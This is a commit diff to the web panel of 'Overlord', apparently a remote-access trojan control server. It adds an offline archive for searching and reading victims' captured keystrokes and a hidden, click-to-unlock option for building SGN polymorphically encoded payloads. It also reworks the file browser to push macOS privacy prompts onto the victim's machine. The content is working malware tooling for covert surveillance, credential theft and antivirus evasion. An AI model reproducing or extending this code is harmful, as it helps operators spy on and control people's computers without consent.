fix some tele links, add offline keylogger, fix rbac issues with scripting.

Overlord-Server/public/assets/build.js

@@ -46,6 +46,7 @@ const platformInputs = document.querySelectorAll('input[name="platform"]');
 
 let currentServerVersion = null;
 let currentUserRole = null;
+let currentUsername = null;
 let showAllBuilds = false;
 
 async function loadServerVersion() {
@@ -1232,7 +1233,9 @@ async function init() {
 
     const data = await res.json();
     currentUserRole = data.role;
+    currentUsername = data.username || null;
     usernameDisplay.textContent = data.username;
+    loadSgnTxtUnlockState();
 
     const roleBadges = {
       admin: '<i class="fa-solid fa-crown mr-1"></i>Admin',
@@ -1440,6 +1443,7 @@ form?.addEventListener("submit", async (e) => {
     shellcodeConsole: document.getElementById("shellcode-console")?.checked || false,
     useSgn: document.getElementById("sgn-mode")?.checked || false,
     sgnIterations: parseInt(document.getElementById("sgn-iterations")?.value, 10) || 1,
+    outputSgnTxt: pendingSgnTxtBuild,
     uploadToFileShare: pendingUpload,
   };
 
@@ -1498,6 +1502,10 @@ async function startBuild(config) {
     buildUploadBtn.disabled = true;
     buildUploadBtn.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> <span>Building...</span>';
   }
+  if (buildSgnTxtBtn) {
+    buildSgnTxtBtn.disabled = true;
+    setSgnTxtButtonState("Building TXT...", "fa-solid fa-spinner fa-spin");
+  }
 
   buildStatus.classList.remove("hidden");
   buildStatusText.textContent = "Starting build...";
@@ -1558,7 +1566,12 @@ async function startBuild(config) {
       buildUploadBtn.disabled = false;
       buildUploadBtn.innerHTML = '<i class="fa-solid fa-cloud-arrow-up"></i> <span>Build & Upload</span>';
     }
+    if (buildSgnTxtBtn) {
+      buildSgnTxtBtn.disabled = false;
+      updateSgnTxtLockState();
+    }
     pendingUpload = false;
+    pendingSgnTxtBuild = false;
   }
 }
 
@@ -1947,6 +1960,78 @@ let pendingUpdateAll = false;
 let pendingUpdateHideWindow = false;
 let pendingUpload = false;
 const buildUploadBtn = document.getElementById("build-upload-btn");
+let pendingSgnTxtBuild = false;
+const buildSgnTxtBtn = document.getElementById("build-sgn-txt-btn");
+const buildSgnTxtLockbox = document.getElementById("build-sgn-txt-lockbox");
+const SGN_TXT_UNLOCK_CLICKS = 10;
+let sgnTxtUnlockClicks = 0;
+let sgnTxtUnlocked = false;
+
+function getSgnTxtUnlockStorageKey() {
+  const userPart = String(currentUsername || "unknown").trim().toLowerCase() || "unknown";
+  return `overlord_sgn_txt_unlocked:${userPart}`;
+}
+
+function loadSgnTxtUnlockState() {
+  try {
+    if (localStorage.getItem(getSgnTxtUnlockStorageKey()) === "true") {
+      sgnTxtUnlockClicks = SGN_TXT_UNLOCK_CLICKS;
+      sgnTxtUnlocked = true;
+    }
+  } catch {}
+  updateSgnTxtLockState();
+}
+
+function saveSgnTxtUnlockState() {
+  try {
+    localStorage.setItem(getSgnTxtUnlockStorageKey(), "true");
+  } catch {}
+}
+
+function setSgnTxtButtonState(label, iconClass) {
+  if (!buildSgnTxtBtn) return;
+  buildSgnTxtBtn.innerHTML = "";
+  const icon = document.createElement("i");
+  icon.className = iconClass;
+  const text = document.createElement("span");
+  text.textContent = label;
+  buildSgnTxtBtn.appendChild(icon);
+  buildSgnTxtBtn.appendChild(text);
+}
+
+function pulseSgnTxtLockbox() {
+  if (!buildSgnTxtLockbox) return;
+  buildSgnTxtLockbox.classList.remove("pulse");
+  void buildSgnTxtLockbox.offsetWidth;
+  buildSgnTxtLockbox.classList.add("pulse");
+}
+
+function updateSgnTxtLockState() {
+  if (!buildSgnTxtBtn || !buildSgnTxtLockbox) return;
+  const progress = Math.min(1, Math.max(0, sgnTxtUnlockClicks / SGN_TXT_UNLOCK_CLICKS));
+  const stageProgress = (start, end) => Math.min(1, Math.max(0, (progress - start) / (end - start)));
+  const crackProgress = Math.min(1, Math.sqrt(progress) * 1.18);
+  const midCrackProgress = Math.sqrt(stageProgress(0.18, 0.72));
+  const lateCrackProgress = Math.sqrt(stageProgress(0.48, 0.95));
+  buildSgnTxtLockbox.style.setProperty("--sgn-chain-brightness", String(Math.max(0.72, 1 - progress * 0.28)));
+  buildSgnTxtLockbox.style.setProperty("--sgn-chain-opacity", String(Math.max(0.48, 0.9 - progress * 0.42)));
+  buildSgnTxtLockbox.style.setProperty("--sgn-crack-opacity", String(Math.max(0, Math.min(1, crackProgress))));
+  buildSgnTxtLockbox.style.setProperty("--sgn-crack-dash", String(Math.max(0, 1 - crackProgress)));
+  buildSgnTxtLockbox.style.setProperty("--sgn-crack-mid-opacity", String(midCrackProgress * 0.9));
+  buildSgnTxtLockbox.style.setProperty("--sgn-crack-mid-dash", String(Math.max(0, 1 - midCrackProgress)));
+  buildSgnTxtLockbox.style.setProperty("--sgn-crack-late-opacity", String(lateCrackProgress * 0.95));
+  buildSgnTxtLockbox.style.setProperty("--sgn-crack-late-dash", String(Math.max(0, 1 - lateCrackProgress)));
+  buildSgnTxtLockbox.style.setProperty("--sgn-lock-tilt", `${Math.round(progress * 10)}deg`);
+  buildSgnTxtLockbox.classList.toggle("locked", !sgnTxtUnlocked);
+  buildSgnTxtLockbox.classList.toggle("unlocked", sgnTxtUnlocked);
+  if (sgnTxtUnlocked) {
+    setSgnTxtButtonState("Build SGN TXT", "fa-solid fa-file-lines");
+    return;
+  }
+  setSgnTxtButtonState("Build SGN TXT", "fa-solid fa-file-lines");
+}
+
+updateSgnTxtLockState();
 
 function showUpdateAllModal() {
   if (!updateAllModal) return;
@@ -2056,6 +2141,37 @@ if (buildUploadBtn) {
   });
 }
 
+if (buildSgnTxtBtn) {
+  buildSgnTxtBtn.addEventListener("click", () => {
+    if (isBuilding) return;
+    const sgnEnabled = document.getElementById("sgn-mode")?.checked || false;
+    if (!sgnTxtUnlocked) {
+      sgnTxtUnlockClicks += 1;
+      if (sgnTxtUnlockClicks >= SGN_TXT_UNLOCK_CLICKS) {
+        sgnTxtUnlocked = true;
+        saveSgnTxtUnlockState();
+        updateSgnTxtLockState();
+        if (window.showToast) window.showToast("SGN TXT build unlocked", "success");
+      } else {
+        updateSgnTxtLockState();
+      }
+      pulseSgnTxtLockbox();
+      return;
+    }
+    if (!sgnEnabled) {
+      alert("Enable the SGN Polymorphic Encoding option before building an SGN TXT file.");
+      return;
+    }
+    const platformCheckboxes = form.querySelectorAll('input[name="platform"]:checked');
+    if (platformCheckboxes.length === 0) {
+      alert("Please select at least one platform to build");
+      return;
+    }
+    pendingSgnTxtBuild = true;
+    form.requestSubmit();
+  });
+}
+
 async function pushUpdateToAllClients(buildId, hideWindow) {
   addBuildOutput("\n── Pushing update to all eligible clients ──\n", "info");
 

Overlord-Server/public/assets/filebrowser.js

@@ -32,7 +32,7 @@ const pendingCommandWaiters = new Map();
 const VIRTUALIZATION_THRESHOLD = 400;
 const VIRTUAL_ROW_HEIGHT = 58;
 const VIRTUAL_OVERSCAN = 8;
-const MAC_PERMISSION_STORAGE_KEY = `filebrowser.macPermissionAllowed.${clientId}.v1`;
+const MAC_PERMISSION_STORAGE_KEY = `filebrowser.macPermissionAllowed.${clientId}.v2`;
 const macPermissionAllowedPaths = new Set(loadMacPermissionAllowedPaths());
 
 let directoryEntries = [];
@@ -377,15 +377,9 @@ function isSameOrChildPath(path, root) {
 }
 
 function markMacPermissionAllowed(path) {
-  const normalized = normalizeMacPath(path);
-  if (!normalized || normalized === ".") return;
-  const macStylePath = normalized.startsWith("/Users/") ||
-    normalized === "/Volumes" ||
-    normalized.startsWith("/Volumes/") ||
-    normalized === "/Network" ||
-    normalized.startsWith("/Network/");
-  if (detectedOS !== "mac" && !(detectedOS === "" && macStylePath)) return;
-  macPermissionAllowedPaths.add(normalized);
+  const risk = macProtectedLocationForPath(path);
+  if (!risk) return;
+  macPermissionAllowedPaths.add(risk.cachePath || risk.root || risk.path);
   persistMacPermissionAllowedPaths();
 }
 
@@ -397,9 +391,9 @@ function hasMacPermissionAllowedAncestor(path) {
   return false;
 }
 
-function macPermissionRiskForPath(path) {
+function macProtectedLocationForPath(path) {
   const normalized = normalizeMacPath(path);
-  if (!normalized || normalized === "." || hasMacPermissionAllowedAncestor(normalized)) {
+  if (!normalized || normalized === ".") {
     return null;
   }
 
@@ -438,6 +432,13 @@ function macPermissionRiskForPath(path) {
   return { ...match, path: normalized, cachePath };
 }
 
+function macPermissionRiskForPath(path) {
+  const risk = macProtectedLocationForPath(path);
+  if (!risk) return null;
+  if (hasMacPermissionAllowedAncestor(risk.path)) return null;
+  return risk;
+}
+
 function showMacPermissionWarning(risk, operation) {
   return new Promise((resolve) => {
     const modal = document.createElement("div");
@@ -448,15 +449,15 @@ function showMacPermissionWarning(risk, operation) {
       <div class="w-full max-w-md rounded-lg border border-amber-500/40 bg-slate-900 shadow-2xl">
         <div class="px-4 py-3 border-b border-slate-700 flex items-center gap-2">
           <i class="fa-solid fa-triangle-exclamation text-amber-300"></i>
-          <div class="font-semibold text-slate-100">macOS Permission May Appear</div>
+          <div class="font-semibold text-slate-100">Confirm macOS Access Request</div>
         </div>
         <div class="px-4 py-4 text-sm text-slate-300 space-y-3">
           <p>${escapeHtml(operation)} <span class="font-mono text-slate-100 break-all">${escapeHtml(risk.path)}</span> may ask the person using this Mac to allow access to ${escapeHtml(risk.label)} for this app.</p>
-          <p class="text-xs text-slate-400">Continue only if they are ready to approve the macOS prompt. This choice is remembered for this browser session.</p>
+          <p class="text-xs text-slate-400">After you confirm here, the agent will try to open the folder on the Mac so macOS can show its permission prompt there.</p>
         </div>
         <div class="px-4 py-3 border-t border-slate-700 flex justify-end gap-2">
           <button type="button" data-mac-permission-cancel class="px-3 py-2 rounded bg-slate-700 hover:bg-slate-600 text-sm text-slate-100">Cancel</button>
-          <button type="button" data-mac-permission-continue class="px-3 py-2 rounded bg-amber-500 hover:bg-amber-400 text-sm font-semibold text-slate-950">Continue</button>
+          <button type="button" data-mac-permission-continue class="px-3 py-2 rounded bg-amber-500 hover:bg-amber-400 text-sm font-semibold text-slate-950">Try Access</button>
         </div>
       </div>
     `;
@@ -490,10 +491,24 @@ async function confirmMacPermissionRisk(path, operation = "access") {
     notifyToast("Operation cancelled before macOS permission prompt", "info", 2500);
     return false;
   }
-  markMacPermissionAllowed(risk.cachePath || risk.root || risk.path);
   return true;
 }
 
+function macPermissionLockedDirectory(entry) {
+  if (!entry || !entry.isDir) return null;
+  return macPermissionRiskForPath(entry.path);
+}
+
+function renderMacPermissionBadge(risk) {
+  if (!risk) return "";
+  return `<span class="inline-flex items-center gap-1 ml-1 px-1.5 py-0.5 rounded border border-amber-500/30 bg-amber-500/10 text-[10px] leading-none text-amber-200 flex-shrink-0" title="macOS may ask for permission to access ${escapeHtml(risk.label)}"><i class="fa-solid fa-lock text-[9px]"></i> Needs permission</span>`;
+}
+
+function renderMacPermissionFolderIcon(risk) {
+  if (!risk) return null;
+  return '<span class="relative inline-flex w-4 h-4 items-center justify-center flex-shrink-0"><i class="fa-solid fa-folder text-slate-500"></i><i class="fa-solid fa-lock absolute -right-1 -bottom-1 text-[8px] text-amber-300"></i></span>';
+}
+
 function goHome() {
   listFiles(".", ws, { resetHistory: true });
 }
@@ -1291,11 +1306,11 @@ function isMacFolderAccessError(msg) {
 
 function renderFileListError(msg) {
   const canRequestAccess = isMacFolderAccessError(msg);
-  const helpText = msg.accessHelp || "macOS blocked this folder. Ask the user to allow access in Privacy & Security, then refresh this folder.";
+  const helpText = msg.accessHelp || "macOS blocked this folder. Confirm the retry, approve the prompt on the Mac, then refresh if needed.";
   const actionHtml = canRequestAccess
     ? `<div class="mt-4 flex flex-wrap items-center justify-center gap-2">
         <button id="request-folder-access-btn" class="button primary text-sm px-4 py-2">
-          <i class="fa-solid fa-unlock-keyhole"></i> Request Access Again
+          <i class="fa-solid fa-unlock-keyhole"></i> Try Access Again
         </button>
         <button id="retry-folder-access-btn" class="button ghost text-sm px-4 py-2">
           <i class="fa-solid fa-rotate-right"></i> Retry
@@ -1321,19 +1336,10 @@ function renderFileListError(msg) {
   }
 }
 
-function requestFolderAccess(path) {
-  const commandId = `file-access-${Date.now()}`;
-  send({
-    type: "command",
-    commandType: "file_request_access",
-    id: commandId,
-    payload: { path: path || currentPath || "." },
-  });
-  trackCommandResult(commandId, {
-    successMessage: "Opened macOS Privacy settings. Ask the user to allow access, then retry.",
-    errorPrefix: "Access request failed",
-  });
-  notifyToast("Asking the Mac to open Privacy settings...", "info", 3500);
+async function requestFolderAccess(path) {
+  const targetPath = path || currentPath || ".";
+  notifyToast("Trying to open the folder on the Mac...", "info", 3500);
+  await listFiles(targetPath, ws, { skipHistory: true });
 }
 
 function createParentRow(parentPath) {
@@ -1362,18 +1368,25 @@ function createParentRow(parentPath) {
 
 function createFileRow(entry) {
   const row = document.createElement("div");
+  const macPermissionRisk = macPermissionLockedDirectory(entry);
   row.className =
-    "file-item grid grid-cols-12 gap-3 px-4 py-3 border border-transparent cursor-pointer transition-colors";
+    "file-item grid grid-cols-12 gap-3 px-4 py-3 border border-transparent cursor-pointer transition-colors" +
+    (macPermissionRisk ? " opacity-60 bg-slate-950/30 hover:bg-amber-900/10" : " hover:bg-slate-800/50");
   row.dataset.path = entry.path;
   row.dataset.isDir = entry.isDir;
+  if (macPermissionRisk) {
+    row.dataset.macPermission = "required";
+    row.title = `macOS may ask the user to allow access to ${macPermissionRisk.label}.`;
+  }
 
   // Kick off lazy fetches for the row's real icon and (if applicable) its thumbnail.
   // Both are throttled + batched; the DOM gets updated when results arrive.
   requestIconFor(entry);
   if (!entry.isDir) requestThumbFor(entry);
 
-  const icon = getFileIcon(entry);
+  const icon = renderMacPermissionFolderIcon(macPermissionRisk) || getFileIcon(entry);
   const badges = renderAttrBadges(entry.attrs);
+  const macPermissionBadge = renderMacPermissionBadge(macPermissionRisk);
 
   const size = entry.isDir ? "-" : formatBytes(entry.size);
   const modTime = new Date(entry.modTime * 1000).toLocaleString();
@@ -1393,6 +1406,7 @@ function createFileRow(entry) {
       <span class="truncate">${escapeHtml(entry.name)}</span>
       ${pinBtn}
       ${badges}
+      ${macPermissionBadge}
     </div>
     <div class="col-span-2 text-sm text-slate-400 file-size-col">${size}</div>
     <div class="col-span-3 text-sm text-slate-400 file-modified-col">${modTime}</div>
@@ -3103,9 +3117,17 @@ function applyClientInfo(osStr, userName) {
 
 function sidebarItem(icon, label, path, color) {
   const active = currentPath && (currentPath === path || currentPath.startsWith(path + "/") || currentPath.startsWith(path + "\\"));
-  return `<button class="sidebar-item w-full flex items-center gap-3 px-3 py-1.5 rounded-md text-sm text-slate-300 hover:text-white transition-colors text-left${active ? " active" : ""}" data-path="${escapeHtml(path)}">
+  const macPermissionRisk = macPermissionRiskForPath(path);
+  const lockHtml = macPermissionRisk
+    ? '<i class="fa-solid fa-lock text-amber-300 text-[10px] flex-shrink-0"></i>'
+    : "";
+  const titleAttr = macPermissionRisk
+    ? ` title="macOS may ask the user to allow access to ${escapeHtml(macPermissionRisk.label)}"`
+    : "";
+  return `<button class="sidebar-item w-full flex items-center gap-3 px-3 py-1.5 rounded-md text-sm text-slate-300 hover:text-white transition-colors text-left${active ? " active" : ""}${macPermissionRisk ? " opacity-60" : ""}" data-path="${escapeHtml(path)}"${titleAttr}>
     <i class="fa-solid ${icon} ${color} w-4 text-center text-xs"></i>
     <span class="truncate">${label}</span>
+    ${lockHtml}
   </button>`;
 }
 

Overlord-Server/public/assets/keylogger.js

@@ -49,6 +49,7 @@ let globalSearchCache = new Map();
 let globalSearchAbortController = null;
 let clientOs = ""; // filled from the "ready" message
 let needsPermissionGate = false; // true for darwin/mac clients
+let archiveMode = false;
 
 clientLabel.textContent = clientId;
 
@@ -136,9 +137,16 @@ function handleMessage(msg) {
 
   switch (msg.type) {
     case "ready":
+      archiveMode = msg.clientOnline === false;
       clientOs = msg.clientOs || "";
       needsPermissionGate = isMacOs(clientOs);
       console.log("Keylogger session ready, clientOs:", clientOs, "needsPermissionGate:", needsPermissionGate);
+      if (archiveMode) {
+        updateStatus("pill-offline", "Archive");
+        showFileListPanel();
+        loadArchiveList();
+        return;
+      }
       if (needsPermissionGate) {
         showPermissionGate();
       } else {
@@ -171,7 +179,10 @@ function handleMessage(msg) {
       break;
     case "status":
       if (msg.status === "offline") {
+        archiveMode = true;
         updateStatus("pill-offline", "Client Offline");
+        showFileListPanel();
+        loadArchiveList();
       }
       break;
     case "keylog_file_list":
@@ -214,21 +225,61 @@ function handleMessage(msg) {
 }
 
 function requestFileList() {
+  if (archiveMode) {
+    loadArchiveList();
+    return;
+  }
   send({ type: "keylog_list" });
 }
 
 function requestFileContent(filename) {
+  if (archiveMode) {
+    loadArchiveContent(filename);
+    return;
+  }
   send({ type: "keylog_retrieve", filename });
 }
 
 function requestClearAll() {
+  if (archiveMode) return;
   send({ type: "keylog_clear_all" });
 }
 
 function requestDeleteFile(filename) {
+  if (archiveMode) return;
   send({ type: "keylog_delete", filename });
 }
 
+async function loadArchiveList() {
+  try {
+    const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/keylogger/archive`, { credentials: "include" });
+    const data = await res.json().catch(() => ({}));
+    if (!res.ok) throw new Error(data.error || "Failed to load archive");
+    displayFileList((data.files || []).map((file) => ({ ...file, archived: true })));
+  } catch (err) {
+    console.error("Failed to load archived keylogs:", err);
+    fileList.innerHTML = `
+      <div class="text-rose-300 text-center py-8">
+        <i class="fa-solid fa-triangle-exclamation text-4xl mb-2"></i>
+        <p>Failed to load archived logs</p>
+      </div>
+    `;
+  }
+}
+
+async function loadArchiveContent(filename) {
+  try {
+    const params = new URLSearchParams({ filename });
+    const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/keylogger/archive/content?${params.toString()}`, { credentials: "include" });
+    const data = await res.json().catch(() => ({}));
+    if (!res.ok) throw new Error(data.error || "Failed to load archived file");
+    displayFileContent(data.filename || filename, data.content || "");
+  } catch (err) {
+    console.error("Failed to load archived keylog:", err);
+    window.showToast("Failed to load archived log", "error");
+  }
+}
+
 function downloadLog(filename, content) {
   const decoded = rot13Decode(content || "");
   const blob = new Blob([decoded], { type: "text/plain;charset=utf-8" });
@@ -283,6 +334,12 @@ function displayFileList(files) {
         </div>
       </div>
       <div class="flex items-center gap-2">
+        ${file.archived ? `
+        <span class="px-2 py-1 rounded bg-yellow-900/30 border border-yellow-700 text-yellow-200 text-xs inline-flex items-center gap-1">
+          <i class="fa-solid fa-box-archive"></i>
+          Archive
+        </span>
+        ` : ""}
         <button
           class="view-log-btn px-3 py-2 rounded-lg border border-blue-700 bg-blue-900/50 hover:bg-blue-800/70 text-blue-100 flex items-center gap-2"
           data-filename="${file.name}"
@@ -297,6 +354,7 @@ function displayFileList(files) {
           <i class="fa-solid fa-download"></i>
           <span>Download</span>
         </button>
+        ${archiveMode ? "" : `
         <button
           class="delete-log-btn px-3 py-2 rounded-lg border border-red-700 bg-red-900/40 hover:bg-red-800/70 text-red-100 flex items-center gap-2"
           data-filename="${file.name}"
@@ -304,6 +362,7 @@ function displayFileList(files) {
           <i class="fa-solid fa-trash"></i>
           <span>Delete</span>
         </button>
+        `}
       </div>
     </div>
   `
@@ -560,6 +619,11 @@ async function performGlobalSearch(query) {
   }
   globalSearchAbortController = new AbortController();
 
+  if (archiveMode) {
+    await performArchivedGlobalSearch(query);
+    return;
+  }
+
   const files = Array.from(fileIndex.values());
   const lowerQuery = query.toLowerCase();
   const results = [];
@@ -629,7 +693,51 @@ async function performGlobalSearch(query) {
   displayGlobalSearchResults(results, query);
 }
 
+async function performArchivedGlobalSearch(query) {
+  globalSearchResults.innerHTML = `
+    <div class="text-slate-400 text-center py-8">
+      <i class="fa-solid fa-spinner fa-spin text-4xl mb-2"></i>
+      <p>Searching archived logs...</p>
+    </div>
+  `;
+  globalSearchStats.classList.remove("hidden");
+  globalSearchProgress.textContent = "Searching archive...";
+  globalSearchCount.textContent = "";
+
+  try {
+    const params = new URLSearchParams({ q: query });
+    const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/keylogger/archive/search?${params.toString()}`, { credentials: "include" });
+    const data = await res.json().catch(() => ({}));
+    if (!res.ok) throw new Error(data.error || "Search failed");
+    displayGlobalSearchResults(data.results || [], query);
+  } catch (err) {
+    console.error("Archived search failed:", err);
+    globalSearchResults.innerHTML = `
+      <div class="text-rose-300 text-center py-8">
+        <i class="fa-solid fa-triangle-exclamation text-4xl mb-2"></i>
+        <p>Archived search failed</p>
+      </div>
+    `;
+    globalSearchProgress.textContent = "Search failed";
+    globalSearchCount.textContent = "";
+  }
+}
+
 function loadFileContent(filename) {
+  if (archiveMode) {
+    return new Promise(async (resolve, reject) => {
+      try {
+        const params = new URLSearchParams({ filename });
+        const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/keylogger/archive/content?${params.toString()}`, { credentials: "include" });
+        const data = await res.json().catch(() => ({}));
+        if (!res.ok) throw new Error(data.error || "Failed to load archived file");
+        resolve(rot13Decode(data.content || ""));
+      } catch (err) {
+        reject(err);
+      }
+    });
+  }
+
   return new Promise((resolve, reject) => {
     let resolved = false;
     const timeout = setTimeout(() => {
@@ -749,10 +857,14 @@ requestPermissionBtn.addEventListener("click", () => {
 
 refreshBtn.addEventListener("click", () => {
   requestFileList();
-  window.showToast("Refreshing file list...", "info");
+  window.showToast(archiveMode ? "Refreshing archive..." : "Refreshing file list...", "info");
 });
 
 clearBtn.addEventListener("click", () => {
+  if (archiveMode) {
+    window.showToast("Archived logs are retained by server policy.", "info");
+    return;
+  }
   if (
     confirm(
       "Are you sure you want to clear all keylog files? This action cannot be undone."

Overlord-Server/public/assets/main.js

@@ -371,8 +371,8 @@ function applyMenuSupportRules(clientId) {
   const keyloggerSupported = isWindows || platform === "mac";
   setAvailability(
     keyloggerBtn,
-    isOnline && keyloggerSupported,
-    isOnline ? "Keylogger is not supported on this platform." : "Client is offline",
+    keyloggerSupported,
+    "Keylogger is not supported on this platform.",
   );
 
   const winreBtn = menu.querySelector('[data-open="winre"]');
@@ -400,9 +400,14 @@ function applyMenuSupportRules(clientId) {
     setAvailability(silentExecBtn, isOnline, "Client is offline");
   }
 
-  ["remote-access", "monitoring", "system"].forEach(groupId => {
+  ["remote-access", "system"].forEach(groupId => {
     setAvailability(menu.querySelector(`[data-group-toggle="${groupId}"]`), isOnline, "Client is offline");
   });
+  setAvailability(
+    menu.querySelector('[data-group-toggle="monitoring"]'),
+    isOnline || keyloggerSupported,
+    keyloggerSupported ? "" : "Client is offline",
+  );
 
   ["ping", "reconnect", "disconnect", "uninstall"].forEach(action => {
     setAvailability(menu.querySelector(`[data-action="${action}"]`), isOnline, "Client is offline");

Overlord-Server/public/assets/settings.js

@@ -39,6 +39,14 @@ const prefDesktopNotificationsInput = document.getElementById("pref-desktop-noti
 const prefDesktopNotificationsHint = document.getElementById("pref-desktop-notifications-hint");
 const prefRefreshSecondsInput = document.getElementById("pref-refresh-seconds");
 
+const inputArchiveUserForm = document.getElementById("input-archive-user-form");
+const inputArchiveMyEnabledInput = document.getElementById("input-archive-my-enabled");
+const inputArchiveAdminForm = document.getElementById("input-archive-admin-form");
+const inputArchiveGlobalEnabledInput = document.getElementById("input-archive-global-enabled");
+const inputArchiveRetentionDaysInput = document.getElementById("input-archive-retention-days");
+const inputArchiveMaxFileMbInput = document.getElementById("input-archive-max-file-mb");
+const inputArchivePollSecondsInput = document.getElementById("input-archive-poll-seconds");
+
 const myTelegramChatIdInput = document.getElementById("my-telegram-chat-id");
 const saveMyTelegramBtn = document.getElementById("save-my-telegram");
 
@@ -216,6 +224,7 @@ async function renderPermissionsOverview() {
         "system:chat",
         "system:appearance",
         "system:thumbnails",
+        "system:input-archive",
         "system:build-limits",
         "system:export-import",
         "system:health",
@@ -1236,6 +1245,81 @@ async function loadChatSettings() {
   }
 }
 
+async function loadInputArchiveSettings() {
+  try {
+    const res = await fetch("/api/settings/input-archive", { credentials: "include" });
+    const data = await res.json().catch(() => ({}));
+    if (!res.ok) return;
+    if (inputArchiveMyEnabledInput) inputArchiveMyEnabledInput.checked = !!data.myEnabled;
+    const cfg = data.inputArchive || {};
+    if (inputArchiveGlobalEnabledInput) inputArchiveGlobalEnabledInput.checked = !!cfg.enabled;
+    if (inputArchiveRetentionDaysInput) inputArchiveRetentionDaysInput.value = cfg.retentionDays ?? 7;
+    if (inputArchiveMaxFileMbInput) inputArchiveMaxFileMbInput.value = Math.max(1, Math.round((Number(cfg.maxFileBytes) || 0) / 1024 / 1024)) || 5;
+    if (inputArchivePollSecondsInput) inputArchivePollSecondsInput.value = cfg.pollIntervalSeconds ?? 300;
+  } catch {
+    console.warn("Failed to load input archive settings");
+  }
+}
+
+async function saveInputArchivePreference(event) {
+  event.preventDefault();
+  const res = await fetch("/api/settings/input-archive", {
+    method: "PUT",
+    headers: { "Content-Type": "application/json" },
+    credentials: "include",
+    body: JSON.stringify({ myEnabled: !!inputArchiveMyEnabledInput?.checked }),
+  });
+  const data = await res.json().catch(() => ({}));
+  if (!res.ok) {
+    showMessage(data.error || "Failed to save input archive preference.", "error");
+    return;
+  }
+  showMessage("Input archive preference saved.");
+}
+
+async function saveInputArchiveAdminSettings(event) {
+  event.preventDefault();
+  if (!requireUiPermission("system:input-archive", "Input archive settings permission required.")) {
+    return;
+  }
+
+  const retentionDays = Number(inputArchiveRetentionDaysInput?.value);
+  const maxFileMb = Number(inputArchiveMaxFileMbInput?.value);
+  const pollIntervalSeconds = Number(inputArchivePollSecondsInput?.value);
+  if (!Number.isFinite(retentionDays) || retentionDays < 1 || retentionDays > 365) {
+    showMessage("Archive retention must be 1-365 days.", "error");
+    return;
+  }
+  if (!Number.isFinite(maxFileMb) || maxFileMb < 1 || maxFileMb > 50) {
+    showMessage("Max file size must be 1-50 MB.", "error");
+    return;
+  }
+  if (!Number.isFinite(pollIntervalSeconds) || pollIntervalSeconds < 0 || pollIntervalSeconds > 86400) {
+    showMessage("Poll interval must be 0-86400 seconds.", "error");
+    return;
+  }
+
+  const res = await fetch("/api/settings/input-archive", {
+    method: "PUT",
+    headers: { "Content-Type": "application/json" },
+    credentials: "include",
+    body: JSON.stringify({
+      inputArchive: {
+        enabled: !!inputArchiveGlobalEnabledInput?.checked,
+        retentionDays,
+        maxFileBytes: Math.round(maxFileMb * 1024 * 1024),
+        pollIntervalSeconds: Math.round(pollIntervalSeconds),
+      },
+    }),
+  });
+  const data = await res.json().catch(() => ({}));
+  if (!res.ok) {
+    showMessage(data.error || "Failed to save input archive settings.", "error");
+    return;
+  }
+  showMessage("Input archive settings saved.");
+}
+
 async function saveChatSettings(event) {
   event.preventDefault();
   if (!requireUiPermission("system:chat", "Team chat settings permission required.")) {
@@ -2308,6 +2392,7 @@ async function init() {
     await loadTlsSettings();
     await loadAppearanceSettings();
     await loadChatSettings();
+    await loadInputArchiveSettings();
     await loadBannedIps();
 
     if (userHas("users:manage")) {
@@ -2357,6 +2442,8 @@ async function init() {
     tlsCertbotAutoBtn.addEventListener("click", runCertbotAutoSetup);
     if (appearanceForm) appearanceForm.addEventListener("submit", saveAppearanceSettings);
     if (chatSettingsForm) chatSettingsForm.addEventListener("submit", saveChatSettings);
+    if (inputArchiveUserForm) inputArchiveUserForm.addEventListener("submit", saveInputArchivePreference);
+    if (inputArchiveAdminForm) inputArchiveAdminForm.addEventListener("submit", saveInputArchiveAdminSettings);
     if (exportSettingsBtn) exportSettingsBtn.addEventListener("click", exportSettings);
     if (importSettingsFile) importSettingsFile.addEventListener("change", importSettings);
     refreshBansBtn.addEventListener("click", loadBannedIps);